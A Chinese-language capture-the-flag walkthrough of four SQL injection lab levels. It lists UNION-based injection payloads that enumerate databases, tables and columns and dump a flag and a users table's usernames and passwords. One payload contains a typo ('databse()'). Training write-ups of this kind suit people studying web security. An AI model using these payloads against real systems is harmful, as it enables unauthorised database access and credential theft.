sql注入第一关
输入?id=1 正常
输入?id=1' 报错 ' .0 '
输入?id=1'--+ 正常
判断是字符型注入,闭合方式是:
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flag
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+
爆出列是id,flag
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+
sql注入第二关
初始界面,和第一关比较相似
那么我们继续先输入判断情况
输入?id=1正常
输入?id=1'报错
输入?id=1'--+ 报错
查看哪些地方可以回显:
?id=-1 union select 1,2,3--+
查看数据库名称:
?id=-1 union select 1,databse(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--
查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
sql注入第三关
初始界面
这关和第一第二关十分相似,所以先输入判断
输入?id=1正常
输入?id=1'报错
所以判断本关需要闭合?id=1')
直接参考第二关的闭合
sql注入第四关
初始界面
输入?id=1')闭合查看
输入?id=1")闭合查看
发现本关的闭合方式不同,需要使用?id=1")闭合,然后参考第二关